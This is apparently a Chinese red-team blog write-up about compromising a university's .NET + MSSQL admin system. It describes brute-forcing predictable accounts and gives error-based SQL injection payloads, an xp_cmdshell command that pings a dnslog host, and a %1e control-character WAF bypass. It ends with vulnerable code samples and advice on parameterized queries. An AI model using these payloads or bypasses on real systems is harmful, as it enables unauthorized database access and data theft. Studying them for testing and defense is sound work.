一次 .NET + MSSQL 报错注入与WAF绕过实战

在一次红队任务中，我们接手了某大学的后台系统测试任务。该系统采用典型的.NET + MSSQL架构，登录后台后，某接口处存在SQL注入点。但由于部署了WAF防护，常规payload遭到拦截。本次文章将复盘整个渗透过程，结合报错注入+WAF绕过+代码审计等关键点，完整呈现一次轻量但高效的红队打点思路。

01. 起点：注册登录

初步接触目标站点，发现其注册功能需要后台审核才能生效，但前端返回信息中暴露了账号生成的规律性。例如，注册时返回的信息提示如下格式的账号结构：

账号格式：00xxxxx，默认密码：123456

于是脚本配合爆破，很快拿到了可用的账号，成功登录后台系统。

在用户管理接口处，如 Users/xx.ashx?ID=xxx，我们通过如下构造验证 SQL 注入是否存在：

ID=00')and1=1--+

页面正常返回，说明字符串型注入闭合成功，进一步测试：

ID=00')and1=convert(int,user_name())--+

返回：将 varchar 转换为 int 时失败，此时确认存在MSSQL 报错注入。这是极佳的注入条件，因为可以直接用错误回显获取数据，比盲注效率更高。

02. 实战：报错注入

初步接触目DNS通道测试：尝试执行命令（失败）

1')/**/;/**/exec/**/master..xp_cmdshell/**/"ping xx.dnslog.cn"--+

执行无回显，说明当前用户权限不足以调用 xp_cmdshell。但通过 DNSLog 可验证是否执行成功（未收到请求 → 权限受限）。

接着，利用 FOR XML PATH 拼接所有数据库名为单行，报错回显暴露目标结构，具体代码如下所示。

')and1=convert(int,stuff((selectquotename(name)from sys.databases forxmlpath('')),1,0,''))--+

03. 新挑战：WAF拦截

另一个项目中，我们拿到了某高校网站注入点，但部署了WAF，常规 SQL 关键字如 or、db_name()、-- 都被拦截。此时，我们采用了逐字符 Fuzz 的方式探测绕过路径。最终得出如下 payload：

ID=1%1eor%1e1%3ddb_name()%1e--

其中 %1e 是 ASCII 控制字符“记录分隔符”（RS），虽然在 MSSQL 中解析正常，但能绕过某些正则过滤型WAF。

替换空格、关键字的方式仍然有效，如：/**/、%0a、%1e。

04. 代码审计关键点

在代码审计过程中，我们发现许多常见的 SQL 注入根源都出现在以下几个场景：

string sql ="SELECT * FROM users WHERE id = '"+ Request["id"]+"'";

用户可控输入直接拼接到 SQL 中，是最容易发生注入的位置。永远使用 SqlParameter 参数化查询；

即使是存储过程，只要参数拼接，仍存在注入风险。动态 SQL 拼接存储过程参数代码如下所示。

SqlCommand cmd =newSqlCommand("exec GetUser '"+ username +"'", conn);

综上，一次典型的 .NET + MSSQL 报错注入，从账号猜测、SQL注入验证、数据提取再到命令执行尝试与 WAF 绕过，每一步都验证了红队在实战中需要具备的敏锐度与策略调整能力。

05. NET代码审计学习

微软的.NET技术广泛应用于全球企业级产品，包括其知名的Exchange、SharePoint等，国内如 某友的Cloud、某通的T系列、某蝶的云产品 等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击，问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。